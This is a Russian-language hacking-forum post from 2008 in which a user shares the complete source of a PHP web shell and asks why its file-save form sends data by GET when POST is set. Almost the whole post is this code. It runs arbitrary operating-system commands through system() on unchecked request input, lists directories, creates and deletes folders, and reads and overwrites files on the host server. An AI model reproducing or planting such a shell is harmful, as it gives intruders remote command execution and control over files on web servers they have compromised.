Тема: Php shell
Показать сообщение отдельно

  #5  
Старый 31.05.2008, 18:08
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

при сохранении в файл , всё передается через Get почему , если установлен Post ...

PHP код:
<html>
<title>Shell</title>
<body bgcolor=#000000 text=#ffffff alink=#ffffff vlink=#ffffff link=#ffffff>
<table border=3>
 <tr>
  <td>
   <form method="get">
    <input type="text" name="us">
    <select name="use">
     <option value="open">Открыть папку</option>
     <option value="new">Создать папку</option>
     <option value="dell">Удалить папку</option>
     <option value="cmd">Выполнить команду</option>
    </select>
    <input type="submit" value="Enter">
  </td>
 </tr>
</table>
<?
//--------------Peremennie-------------------------------------------------------------------
$do=$_GET['path'];
$text=$_GET['text'];
$name=$_GET['name'];
$us=$_GET['us'];
$use=$_GET['use'];
//-------------Edit file-----------------------------------------------------------------------
if(isset($text))
{
 
$fo=fopen($name,"w");
 
$fw=fwrite($fo,stripslashes($text));
 
fclose($fo);
 print 
"Сохранено !!!";
}
//-------------Commands---------------------------------------------------------------------
if ($use=="open") {$do=$us; print "Готово !!!<br>";}
if (
$use=="new")  {mkdir("./$us/"); print "Готово !!!<br>";}
if (
$use=="dell") {rmdir($us); print "Готово !!!<br>";}
if (
$use=="cmd")   {$command=$us; print "Готово !!!<br>";}
//-------------Cmd shell-----------------------------------------------------------------------
if(isset($command))
{
 if(
$us=="cd .."chdir("..");
 print 
'<textarea cols=100 rows=20>';
 echo 
system($command);
 print 
'</textarea><br><a href="javascript:history.go(-1);">Cancel</a>';

//-------------Chtenie katalogov------------------------------------------------------------
if($do=="./"$do .= "/";
//if(!isset($do) or $do=='') $do=getcwd();
if(is_dir($do))
{
 
chdir($do);
 
$od=opendir($do);
 while(
$rd=readdir($od))
 {
 print 
"<br><a href=\"?path=".urlencode(getcwd())."\\$rd\">$rd</a>";
 }
 
closedir($od);

//-------------Chtenie failov-----------------------------------------------------------------
if(is_file($do)) 
{
 print 
'<form method="POST">
        <input type="hidden" name="name" value="'
.$do.'">
        <textarea cols=100 rows=20 name="text">'

 print 
htmlspecialchars(file_get_contents($do));
 print 
'</textarea><br>
        <input type="submit" value="Save">
        </form><br><a href="javascript:history.go(-1);">Cancel</a>'
;
}
?>

</body>
</html>
 
Ответить с цитированием